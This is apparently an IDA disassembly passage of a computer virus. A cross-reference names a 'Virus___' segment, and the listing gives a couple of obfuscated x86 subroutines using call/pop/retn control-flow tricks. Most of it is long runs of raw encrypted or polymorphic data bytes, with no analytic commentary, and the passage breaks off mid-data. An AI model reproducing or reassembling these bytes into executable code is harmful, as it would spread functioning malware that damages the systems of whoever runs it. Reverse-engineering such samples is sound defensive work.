		mov	[ebp+71B1C3Dh],	esi
		mov	edx, [ebp+71B11BDh]
		lea	eax, [ebp+71B3B0Ch]
		sbb	ecx, 1147C24Ch
		call	eax
		push	0
		push	edx
		call	sub_56B4EF
		and	[edx-3Dh], bl
sub_56B49A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_56B4EF	proc near		; CODE XREF: sub_56B49A+4Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_56B4EF	endp

; ---------------------------------------------------------------------------
		db 0FCh
		dd 0ED572A5Fh, 0D7D8589h, 0CE8071Bh, 2E000000h,	60DFF435h
		dd 0A73944Eh, 60621D7Fh, 29659529h, 5B51071Bh, 9D315961h
		dd 71B2E89h, 1C0585C6h,	8B47071Bh, 1B2B318Dh, 0B5F36807h
		dd 6A83D0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0B5FFB9C3h, 71B225Dh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0C0C35545h,	8B606051h, 1B1469B5h
		dd 95858907h, 61071B18h, 0A2D8D8Bh, 8D61071Bh, 1B3B0C85h
		dd 0C1BD0107h, 0FF071B21h, 6900B9D0h, 85890451h, 71B0581h
		dd 2D958960h, 66071B0Dh, 0A25CC181h, 585C661h, 77071B1Ch
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 4C35040h
		dd 0F87D6044h, 97A8A368h, 51006AF3h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0E19AC295h
		dd 32A5BD89h, 0B5FF071Bh, 71B08CDh, 0D2BF0F52h,	8DB5295Ah
		dd 8D071B25h, 1B3B0C85h, 14E907h, 0B30A0000h, 0CC78DC19h
		dd 0AF5FA7D3h, 6071BDD6h, 0C3F688E0h, 0D0FFA90Fh, 3B5FBA66h
		dd 166D8589h, 6A071Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0AD3C7AC3h, 27C05149h, 13E935h
		dd 43F70000h, 106324A9h, 0F1DBAE5h, 0A1F543E3h,	0A84CD19Bh
		dd 2B9AB911h, 85C661E1h, 71B1C05h, 0C8B70F47h, 1F39BD8Bh
		dd 0F668071Bh, 0F98728FAh, 225DB5FFh, 8B66071Bh, 0C858DF9h
		dd 89071B3Bh, 1B23F195h, 8BD0FF07h, 1B1EF9BDh, 0A9858907h
		dd 66071B2Bh, 85C6D08Bh, 71B1C05h, 0ED8D8943h, 68071B26h
		dd 0BC8E6EFCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	34C35545h, 6BF660B7h, 0CE8B6619h, 225DB5FFh, 88B9071Bh
		dd 8D15AF2Fh, 1B3B0C85h, 0EDBD8B07h, 0FF071B04h, 0DE9D0h
		dd 79D20000h, 8967C5BBh, 725DB46Ch, 666345D1h, 896A4ABFh
		dd 1B2AD585h, 33A2B907h, 85C63C91h, 71B1C05h, 559D8945h
		dd 89071B31h, 1B1AD9BDh, 69696807h, 0BD898E72h,	71B3465h
		dd 6E9h, 5031E500h, 0FF0FED8Ah,	1B225DB5h, 198D8B07h, 8D071B2Ah
		dd 1B3B0C85h, 5840F07h,	0B9000000h, 632B0D2Ah, 8589D0FFh
		dd 71B0D79h, 145D8589h,	6A071Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 225E3CC3h, 585C653h
		dd 44071B1Ch, 0CED8D09h, 13E8071Bh, 1000000h, 0F745EDF8h
		dd 2994AC70h, 5BED1E46h, 184B2334h, 0BE9F02Eh, 12000000h
		dd 0F30C3B51h, 61B2BC50h, 685F5AD1h, 0B8F2EC64h, 0FE9h
		dd 0ECD6AC00h, 0D2480425h, 0B2952189h, 4677C2A0h, 2D852B60h
		dd 0E9071B28h, 11h, 20466332h, 30E42EC4h, 33531708h, 0D74365A2h
		dd 0B5FF619Ah, 71B225Dh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 16h, 0CBC35040h, 858DCFEEh, 71B3B0Ch, 90C9B966h
		dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0F5FB1AC3h, 10174FE9h, 0E8BE5CE9h, 10h, 0BB124098h
		dd 3D3EA524h, 0B3407F97h, 266CB3EFh, 18D0Fh, 5AFC0000h
		dd 29A5BD2Bh, 8589071Bh, 71B2AC9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 5CC35040h, 0C608F538h, 1B1C0585h
		dd 0DF814307h, 73744216h, 764AA768h, 53006AC0h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 9D0960EDh
		dd 71B150Dh, 0C004DA81h, 0B5FF7EC0h, 71B225Dh, 6800Fh
		dd 9D890000h, 71B00A5h,	24F1BD29h, 858D071Bh, 71B3B0Ch
		dd 0FF95D280h, 6870FD0h, 0B000000h, 1B3499BDh, 3D858907h
		dd 80071B29h, 0BD8014DDh, 71DF963h, 60840F00h, 0F9000000h
		dd 8C04BA66h, 0F945858Dh, 0DA81071Dh, 49E8BF3Eh, 55BD8B50h
		dd 6A071B1Fh, 0D7816601h, 6A2D23h, 6ACA8Bh, 12298D29h
		dd 95FF071Bh, 71B163Dh,	6EEF8166h, 0D585897Ah, 8B071B2Bh
		dd 1B298995h, 0FFFF6A07h, 1B2BD5B5h, 870F5007h,	6, 17D98D33h
		dd 0FF5A071Bh, 1B2F4595h, 8B5F5207h, 0C28166C0h, 0BD83FE44h
		dd 71B1BD1h, 83097500h,	1B1FD5BDh, 19740007h, 0C08B5350h
		dd 7D1B8h, 61858900h, 8D071B2Ah, 1DABB89Dh, 5BD3FF07h
		dd 0D5BD8358h, 71B1Fh, 53501774h, 7D1B8h, 61858900h, 8D071B2Ah
		dd 1DA8A79Dh, 5BD3FF07h, 5D958B58h, 0F9071B20h,	0C3BFC08Bh
		dd 0C64FC4DDh, 1B1C0585h, 0BE604707h, 0A34F90h,	16A1858Bh
		dd 6861071Bh, 93C8F7C1h, 0D7C8C981h, 0B5FF226Ah, 71B225Dh
		dd 0FBB4F781h, 858D13C5h, 71B3B0Ch, 0FFD2BF0Fh,	8800FD0h
		dd 52000000h, 29A58D8Bh, 505F071Bh, 27259D89h, 858D071Bh
		dd 71DFD86h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	30C35141h, 9A217458h, 26E19D89h, 9D89071Bh, 71B0891h
		dd 9400C7h, 0E9600000h,	8, 647E7BCh, 1B0F4575h,	8929B060h
		dd 1B046995h, 58616107h, 9E9h, 23118500h, 0F476A196h, 0E9819A86h
		dd 2D959B25h, 0FD86B58Dh, 952071Dh, 1B18C59Dh, 0D1815907h
		dd 4F59F8BCh, 0B9958B56h, 0FF071B12h, 12800FD0h, 0E9000000h
		dd 0Dh,	2FAA6E4Ah, 0BCF3387Ah, 8AF10547h, 86858DF4h, 0F5071DFDh
		dd 6047883h, 37850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 1AB004C3h, 8B60EA78h
		dd 1B22C9BDh, 1A85C707h, 1071DFEh, 81000000h, 779507DFh
		dd 21BD8320h, 71B1Fh, 58850Fh, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0CF4C7EC3h
		dd 80FB8B66h, 0BD83A6EDh, 71DFE1Ah, 27850F00h, 89000000h
		dd 1B24A195h, 0BDBD8307h, 71B2Fh, 14840Fh, 0BA660000h
		dd 85C7F82Eh, 71B1B0Dh,	0
		dd 2CB5BD23h, 8C66071Bh, 0F5BD89DBh, 0F6071B26h, 840F04C3h
		dd 675h, 113D8529h, 85C7071Bh, 71B2105h, 0
		dd 14E8h, 0E086AA00h, 0C85FAA7Eh, 0FC4103F6h, 0D916F994h
		dd 4BEECFACh, 899D2905h, 59071B2Eh, 0F970BD80h,	0F00071Dh
		dd 585h, 0CF816600h, 85C64329h,	71B1C05h, 11E9FC47h, 8000000h
		dd 335417B3h, 88F76D6Dh, 0E7A81267h, 0B55B0C23h, 0E45B8668h
		dd 57006AE3h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0B559783Fh, 5DB5FF95h, 6A071B22h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 4B8DC357h, 14E856h, 4F010000h, 4B9B533Fh, 0A21FEC90h
		dd 0DB95D0D9h, 7782F18Dh, 9D096B86h, 71B0B89h, 858D5A59h
		dd 71B3B0Ch, 9998501h, 0D0FF071Bh, 64B1E981h, 468731Ch
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 1ED7C351h, 0A485B9CCh,	9D8D3BAEh
		dd 71B1951h, 8953FB8Bh,	1B265D8Dh, 6AD0FF07h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0A2E3C357h, 0C5BCB975h, 8D833D92h, 1B195185h, 0D5B52907h
		dd 50071B12h, 0BE8h, 92BCB000h,	0E71A59AEh, 20333945h
		dd 68C0Fh, 95230000h, 71B1B81h,	0C7816659h, 858DF649h
		dd 71DF922h, 0F395E281h, 10E9399Ch, 21000000h, 0D05F0217h
		dd 0D284BD3Bh, 8D2D028Dh, 5082E603h, 0CE8h, 8A979200h
		dd 2826ACBAh, 790D0A69h, 0CF81664Ch, 295F1436h,	1B34559Dh
		dd 0F5858D07h, 0F071DEFh, 0F50D1B7h, 588h, 8B665200h, 95FF5ACBh
		dd 71B166Dh, 6800Fh, 8D890000h,	71B2E0Dh, 600CC483h, 68006A61h
		dd 80h,	6A036Ah, 68006Ah, 8D800000h, 1DEFF585h,	95FF5007h
		dd 71B2AD5h, 0F9058589h, 85C6071Dh, 71B1C05h, 5E876847h
		dd 0B5FFC7B1h, 71B225Dh, 3B0C858Dh, 0D0FF071Bh,	0B5FF006Ah
		dd 71DF905h, 0D280D0FFh, 7D8D29A9h, 3D071B28h, 37D0h, 54830Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 234222C3h, 0B545BBF9h, 69BD03ABh,	0FF071B17h
		dd 1DF905B5h, 0C840F07h, 0F000000h, 687h, 25958B00h, 0FF071B27h
		dd 1B293D95h, 0F7816607h, 35E9D6E0h, 66000001h,	0B5FFD18Bh
		dd 71DF905h, 11E8h, 0A1310400h,	0B8EE6A7Fh, 409CB2F9h
		dd 0E6040BF6h, 0CE89D0Dh, 0BD000000h, 0A9BFC778h, 0BF914758h
		dd 3187BCB3h, 1B3061B5h, 66595907h, 95FFD78Bh, 71B293Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0F5C35141h
		dd 0BD8BDA98h, 71B0B91h, 29E58D8Bh, 0BA66071Bh,	6A3D5Fh
		dd 6A79CD80h, 0DD8D3100h, 6A071B20h, 45BD0B00h,	6A071B2Eh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 5BFC2ECCh, 0DBFE9545h, 10E9h, 78A1C000h
		dd 0FBF786DBh, 8D7A92F0h, 25B331Ah, 29006AFBh, 1B2B15BDh
		dd 11E807h, 18590000h, 88EEBABCh, 173E3F84h, 6223FD39h
		dd 291A610Dh, 1B34798Dh, 6A5A07h, 6E9h,	0BBCD7200h, 8D3250C9h
		dd 1DF90985h, 45BD2907h, 50071B28h, 11E8h, 0CF30800h, 0C98B2A0Bh
		dd 0C8778480h, 71C17F1Eh, 9D89A65Ch, 71B3545h, 0D595FF59h
		dd 8B071B2Ah, 1B2F3D8Dh, 0FFF88307h, 1B7850Fh, 0BD8B0000h
		dd 71B2EF9h, 0B495858Dh, 800F071Dh, 0Eh, 61958B60h, 0F071B18h
		dd 87h,	0D0FF6100h, 6AD18B66h, 6E86000h, 0E8000000h, 2CDE40F4h
		dd 0ECB8663Bh, 0EA815EBFh, 14C57EFFh, 0A9952961h, 6A071B15h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0A9FAE14Bh, 5FFAC78Dh, 0D9958B98h, 89071B2Dh
		dd 1B21959Dh, 0B9006A07h, 6E7ABD4Ch, 8D8B006Ah,	71B2665h
		dd 0B589006Ah, 71B2889h, 1869BD8Bh, 6A071Bh, 858DD18Bh
		dd 71DF909h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0E7C35343h, 0C2A45910h,	5C3EBF53h, 29501EF0h, 1B2F7D95h
		dd 0D595FF07h, 6A071B2Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0E0EBC351h,	8E9h, 5009B500h
		dd 6FA035F2h, 0B58957E9h, 71B2801h, 0FFF8835Fh,	0AB850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 4AF898C3h, 39D258EEh, 8DB663A2h, 1DF311B5h
		dd 0DE907h, 778B0000h, 0A4B60819h, 0B43C1361h, 8D8A89EDh
		dd 1DA57E85h, 92D78107h, 661D99D3h, 0FFBE36BFh,	52006AD0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0B0CBBCD7h, 0C6982BBh, 5A5745B9h, 0BF66006Ah, 95FFA4E8h
		dd 71B145Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0C8C35141h, 0EDBD8B0Eh,	8B071B26h, 1B2AB1BDh, 5858907h
		dd 81071DF9h, 584C7D1h,	89006A1Eh, 1B214595h, 0FD858D07h
		dd 6A071DF8h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 593DC356h, 0E8ADB5CFh,	7E960h
		dd 0F990000h, 486A092Fh, 0AE848h, 6D3E0000h, 0AFA788Ah
		dd 0C12E0BF0h, 1535BD8Bh, 505A071Bh, 46AFE8Bh, 8DC8BF0Fh
		dd 1B23D585h, 14E807h, 0E4370000h, 0DC3315EBh, 0A5D28C1Ah
		dd 4E2AC4DCh, 22E5087Eh, 0BD8B3048h, 71B2181h, 6A5059h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 8D4F3FC3h, 6995299Dh, 0E9071B31h, 8,	3475AC8h, 5C020260h
		dd 0A9D8D8Bh, 6A071Bh, 6AF4B5h,	34A18D0Bh, 16A071Bh, 0F905B5FFh
		dd 8B66071Dh, 0FF75B2CBh, 1B2AC995h, 1B0BE907h,	8A0F0000h
		dd 1Dh,	10E960h, 0DDBF0000h, 0AF277AECh, 0D3AC9D2Eh, 2CE70B87h
		dd 8D09EA72h, 71B30FDh,	8BC08B61h, 1B0A9DBDh, 0D1BD8307h
		dd 71B1Bh, 0BD830975h, 71B1FD5h, 50197400h, 0B8C08B53h
		dd 7D2h, 2A618589h, 9D8D071Bh, 71DABB8h, 585BD3FFh, 1FD5BD83h
		dd 7400071Bh, 0B8535017h, 7D2h,	2A618589h, 9D8D071Bh, 71DA8A7h
		dd 585BD3FFh, 87C18166h, 0ADEFBFD7h, 0C08B3ABAh, 13E9h
		dd 0BAC99500h, 0A3DD5469h, 0AD353130h, 0A7A9168h, 0FBB6D970h
		dd 210585C7h, 1071Bh, 0BD8B0000h, 71B29C9h, 0E4E7B868h
		dd 0ADB5FFCEh, 8D071B00h, 1B3B0C85h, 89D0FF07h,	1B1AE985h
		dd 61858D07h, 50071DFBh, 0FE1E858Dh, 6850071Dh,	80000001h
		dd 1AE995FFh, 0C00B071Bh, 85C70A75h, 71B30C9h, 1, 5DBD468h
		dd 0ADB5FFC0h, 8D071B00h, 1B3B0C85h, 89D0FF07h,	1B2B9585h
		dd 0AE858D07h, 50071DEDh, 225DB5FFh, 95FF071Bh,	71B0D7Dh
		dd 0B74C00Bh, 858DD88Bh, 71DFD61h, 8DD3FF50h, 1DFD6185h
		dd 38836607h, 0C70A7509h, 1B226D85h, 107h, 0A995FF00h
		dd 25071B2Bh, 0FFh, 7305F883h, 7985C70Ah, 1071B29h, 80000000h
		dd 8D8933D5h, 71B1481h,	0F970BD80h, 0F00071Dh, 1984h, 0AD8D0100h
		dd 83071B34h, 1DFE1ABDh, 840F0007h, 13h, 11A18D89h, 82E9071Bh
		dd 56000019h, 1B25B529h, 835A071Bh, 1B226DBDh, 850F0007h
		dd 0A3h, 858DC88Bh, 71DF93Ah, 0A71BD89h, 0F50071Bh, 158Fh
		dd 9E800h, 87280000h, 0FAAEB506h
		dd 0F439360h, 87h, 16A5900h, 23D99531h,	0BD8B071Bh, 71B3389h
		dd 6660006Ah, 60AFA7BBh, 23A1BD8Bh, 61F8071Bh, 0F006A61h
		dd 68Fh, 51BD8B00h, 66071B04h, 0A7FDD281h, 163D95FFh, 0B589071Bh
		dd 71B2A1Dh, 0F9648589h, 0EE9071Dh, 0EC000000h,	0CE11F616h
		dd 0E4DBE6EAh, 0A0F5C00Fh, 66FF6A2Fh, 8A6CEF81h, 0F964B5FFh
		dd 0BF66071Dh, 95FFADC7h, 71B2F45h, 5581DF81h, 81662E7Dh
		dd 8D6708CAh, 1DED7585h, 0F50F807h, 9D89CABFh, 71B2781h
		dd 129995FFh, 8D0F071Bh, 0
		dd 0AE8h, 0DEF8FC00h, 0E7183AD4h, 0F57510D3h, 0FF85895Fh
		dd 66071DEDh, 0F66DC181h, 0ED82858Dh, 9589071Dh, 71B17BDh
		dd 99858950h, 0FF071B33h, 1DEDFFB5h, 51006A07h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 847FBB2Bh
		dd 233A2194h, 95FFD68Bh, 71B0D7Dh, 28C9952Bh, 8589071Bh
		dd 71B15B5h, 0BD896057h, 71B0A3Dh, 0F5A61F5h, 858DFFBFh
		dd 71DEDF0h, 10E860h, 637E0000h, 7F564EB2h, 3752CCC9h
		dd 1E2B24F1h, 0BD09E0F8h, 71B059Dh, 61CE8B58h, 0F9BD8B50h
		dd 0E9071B20h, 8, 55C17B0Ch, 0D4DC152Ah, 0EDFFB5FFh, 6A071Dh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dword_56C514	dd 51410000h, 391007C3h, 9D48B5D0h, 880FAB96h, 6, 56DBD29h
					; DATA XREF: Virus___:0056139Ao
		dd 95FF071Bh, 71B0D7Dh,	0CD1958Bh, 8589071Bh, 71DEE13h
		dd 858DD38Bh, 71DEDCFh,	0B958C181h, 6A5017CEh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0FE14C357h, 8333C244h, 0DE9h, 469A6900h, 0B46FF5C9h
		dd 0FAACEE16h, 0CE8B52D6h, 0EDFFB5FFh, 11E9071Dh, 0B3000000h
		dd 25C2DABh, 0B1E75626h, 65D24C13h, 0CC7D62B3h,	0D7D95FFh
		dd 8D89071Bh, 71B00B1h,	0EE0B8589h, 0BD29071Dh,	71B3061h
		dd 858D43B1h, 71DEDC2h,	0F88B250h, 0B5FFCBB7h, 71DEDFFh
		dd 0FFFB8B66h, 1B0D7D95h, 8D958B07h, 89071B23h,	1DEE0F85h
		dd 2AC28007h, 0EDDD858Dh, 0B60071Dh, 1B2F4DBDh,	3FBF6607h
		dd 0DE96151h, 23000000h, 629F15BFh, 0AF48D731h,	0CE31DBD9h
		dd 56006A50h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0BCC13093h, 0C3BA8B0Dh, 0BD8BE0B3h, 71B128Dh
		dd 2AEF8166h, 0FFB5FF76h, 0FC071DEDh, 0D7D95FFh, 0B589071Bh
		dd 71B2039h, 5E9h, 0F81CD00h, 8589AA27h, 71B0BF5h, 66DBB966h
		dd 0ED91858Dh, 6A071Dh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0BA105C3h, 0C65535E9h, 8D8B5061h
		dd 71B32EDh, 6A5059h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 1F47E6C3h, 86D9E017h, 0EDFFB5FFh
		dd 0FFF5071Dh, 1B0D7D95h, 0A58D8B07h, 89071B0Dh, 1DEE0385h
		dd 0FAB70F07h, 13E8h, 35658400h, 0AC5E479h, 321DCF31h
		dd 554FF78Ah, 6FE88208h, 0DE9h,	0F9856C00h, 68C71B45h
		dd 0A0239B6Bh, 8D5AA70Dh, 1DEDA085h, 66CA8B07h,	0D29F281h
		dd 50006A50h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0F5ABECBh, 685h,	79952B00h, 0FF071B1Ch
		dd 1DEDFFB5h, 39B58907h, 0B9071B29h, 22661758h,	0D7D95FFh
		dd 6A071Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 899A93C3h, 1B08F585h, 62BA6607h, 78589F0h
		dd 0B5071DEEh, 10468E3h, 8D8B0000h, 71B1901h, 0EE97858Dh
		dd 86B9071Dh, 501FC9F5h, 658D3360h, 0F071B2Ah, 685h, 59958900h
		dd 61071B12h, 0EF9B858Dh, 8D8B071Dh, 71B17BDh, 7D8D8B50h
		dd 80071B2Dh, 95FF5EE9h, 71B0581h, 9598D89h, 0C085071Bh
		dd 850Fh, 0BD800000h, 71DF970h,	35850F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0B9B6C352h, 9E91D3Fh, 49000000h, 0AF1A112Ah,	6D82D79Bh
		dd 14E4E9h, 6CCA8000h, 226DBD83h, 0F00071Bh, 1185h, 0C9B70F00h
		dd 0FE1ABD83h, 0F00071Dh, 4484h, 858DF500h, 71DEE34h, 14B8E9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0D68D7E4Dh, 777D2FC3h, 38A0FCBh,	0F000000h
		dd 18E9D7B7h, 29000000h, 1B2FFD8Dh, 1F858D07h, 0F071DEEh
		dd 683h, 49BD8B00h, 50071B35h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0CBC35343h,	3FCC0419h, 1B568236h
		dd 4D958B3Eh, 8B071B0Dh, 97858DF8h, 66071DEEh, 6650D68Bh
		dd 0BD83CE8Bh, 71B226Dh, 34840F00h, 89000000h, 1B2485BDh
		dd 0BD858D07h, 0E9071DEFh, 14h,	0D53236AFh, 0F3DCDAAEh
		dd 6E136B20h, 45AD0091h, 0B0370BB7h, 31E9h, 860F5700h
		dd 2, 8D5F5F50h, 1DEFA685h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0F4C0979h
		dd 5150C8BFh, 2255BD8Bh, 8D5F071Bh, 1DEFF585h, 59858907h
		dd 50071B32h, 6880Fh, 0E2810000h, 0E297440h, 166D95FFh
		dd 0FE8B071Bh, 2910C483h, 1B2B7585h, 8BC08B07h,	1B1A71BDh
		dd 0B7E68007h, 1BD1BD83h, 7500071Bh, 0D5BD8309h, 71B1Fh
		dd 53501974h, 0D3B8C08Bh, 89000007h, 1B2A6185h,	0B89D8D07h
		dd 0FF071DABh, 83585BD3h, 1B1FD5BDh, 17740007h,	0D3B85350h
		dd 89000007h, 1B2A6185h, 0A79D8D07h, 0FF071DA8h, 0F585BD3h
		dd 38Dh, 51C58000h, 3465958Bh, 0B966071Bh, 0C08B4946h
		dd 8E9h, 4A430200h, 0EACC61C7h,	1FBD81ECh, 6F071DEEh, 0F616572h
		dd 0A184h, 84EABA00h, 858D184Eh, 71DEE97h, 0D4858D50h
		dd 50071DEFh, 0EFF5858Dh, 0FF50071Dh, 1B166D95h, 0CC48307h
		dd 1C0585C6h, 6844071Bh, 96A3184Fh, 225DB5FFh, 858D071Bh
		dd 71B3B0Ch, 0D88BD0FFh, 0EFF5858Dh, 0FF50071Dh, 1F858DD3h
		dd 50071DEEh, 0EE97858Dh, 8350071Dh, 1B226DBDh,	8740007h
		dd 0EFBD858Dh, 6EB071Dh, 0EFA6858Dh, 8D50071Dh,	1DEFF585h
		dd 95FF5007h, 71B166Dh,	6A10C483h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 2FC1C355h
		dd 46F5B6EBh, 95FFEB8Ah, 71B2BA9h, 0B598D8Bh, 9D89071Bh
		dd 71B04B5h, 0FF25h, 9D852900h,	83071B2Ah, 830F05F8h, 2Eh
		dd 0C7D78B66h, 1B297985h, 107h,	39BD0900h, 8D071B24h, 1DEE5385h
		dd 0F9BD0307h, 0E9071B21h, 42h,	2642BA66h, 33A18D8Bh, 0BD83071Bh
		dd 71B226Dh, 21840F00h,	60000000h, 0CA6B67BFh, 858D610Ch
		dd 71DEE7Eh, 2E05BD23h,	13E9071Bh, 0F000000h, 389h, 0CB8B6600h
		dd 0EE60858Dh, 0BA66071Dh, 85895E42h, 71DEE93h,	0BD83D78Bh
		dd 71B226Dh, 13850F00h,	29000000h, 1B0D11B5h, 1ABD8307h
		dd 71DFEh, 27840Fh, 0B6E90000h,	6A000011h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0FCCC356h
		dd 18A160B8h, 49CE9B4h,	0B5290000h, 71B1639h, 6AC08Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0B2436AC3h, 0BD83A26Eh, 71B1BD1h, 83097500h,	1B1FD5BDh
		dd 19740007h, 0C08B5350h, 7D4B8h, 61858900h, 8D071B2Ah
		dd 1DABB89Dh, 5BD3FF07h, 0D5BD8358h, 71B1Fh, 53501774h
		dd 7D4B8h, 61858900h, 8D071B2Ah, 1DA8A79Dh, 5BD3FF07h
		dd 68E0F58h, 8B000000h,	1B17A18Dh, 3850F07h, 66000000h
		dd 0C08BFE8Bh, 0BA5B589h, 3F68071Bh, 6A000F00h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0AC57C357h, 6AD48AFCh, 0EEEF8100h, 6A203BA1h, 0D8D8B00h
		dd 89071B25h, 1B17418Dh, 0B595FF07h, 89071B15h,	1B02FDB5h
		dd 0FC08507h, 685h, 0DD950300h,	89071B26h, 1DEE1785h, 0CB8B6607h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0A6A32BC3h, 58D8B5Bh, 6A071B22h, 0B5895600h
		dd 71B0E25h, 50006A5Ah,	3870Fh,	0E2800000h, 6A5973h, 11E9h
		dd 1AA2000h, 6146023Ch,	2DDBF59Dh, 0C6E4244Ch, 6AB112h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 78C35040h
		dd 81E02CFDh, 9EC875D7h, 0D4EE8057h, 0EFF5858Dh, 6A071Dh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0F2301C3h, 581h, 0C1816600h,	0BF50AAFAh, 6FBED72Bh
		dd 0BD01016Ah, 71B210Dh, 6A016Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 2D2DA2C3h, 0A943F7DEh, 6ACE8B24h, 0CD950301h, 68071B16h
		dd 0F01FFh, 6DBD83F5h, 71B22h, 3C840Fh,	0B5890000h, 71B2C45h
		dd 518DC3BFh, 74858D06h, 0E9071DEEh, 0Bh, 8FE2DC9Bh, 6C3446AFh
		dd 0E9006AB1h, 1Fh, 11E9h, 0E9EC1A00h, 0A7F2FA90h, 0E5A6E544h
		dd 81F75CF0h, 858DA711h, 71DEE4Ah, 50C9B70Fh, 14E8h, 3953C500h
		dd 0C4165A41h, 0CC5F8E54h, 0BF2B9308h, 0CAEA5AADh, 0F2816636h
		dd 505A7B5Fh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 14h,	87C35040h, 0EE17B5FFh, 0BD29071Dh, 71B124Dh, 0EE0395FFh
		dd 0E981071Dh, 361C7098h, 850FC085h, 16h, 3459958Bh, 0CF81071Bh
		dd 16EC95F3h, 4DE9h, 3D09BA00h,	858978BFh, 71DEE1Bh, 0EE1BB5FFh
		dd 9509071Dh, 71B2059h,	0BF595FFh, 6A071Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 60DA31C3h
		dd 12B4E881h, 61FC7FBCh, 850FC085h, 2, 106ACE8Bh, 83C8B70Fh
		dd 1B226DBDh, 840F0007h, 4Dh, 0BD89CA8Bh, 71B297Dh, 0EE74858Dh
		dd 6A071Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 182DEFC3h, 0E95E9C30h, 0Dh, 0E5C70E4Ah, 57FA8F07h
		dd 8A58763Dh, 13E965h, 0BA660000h, 0BF0FEAC6h, 4A858DF9h
		dd 1071DEEh, 1B1E999Dh,	6A5007h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 8BF0C8C3h, 1B0E258Dh
		dd 17B5FF07h, 8B071DEEh, 1B0A8D8Dh, 0F95FF07h, 6A071DEEh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 2FF0C356h, 0EF489720h, 155C73Eh, 1B354D85h
		dd 8AE28107h, 855CB063h, 12850FC0h, 0E9000000h,	0Dh, 0EDD31268h
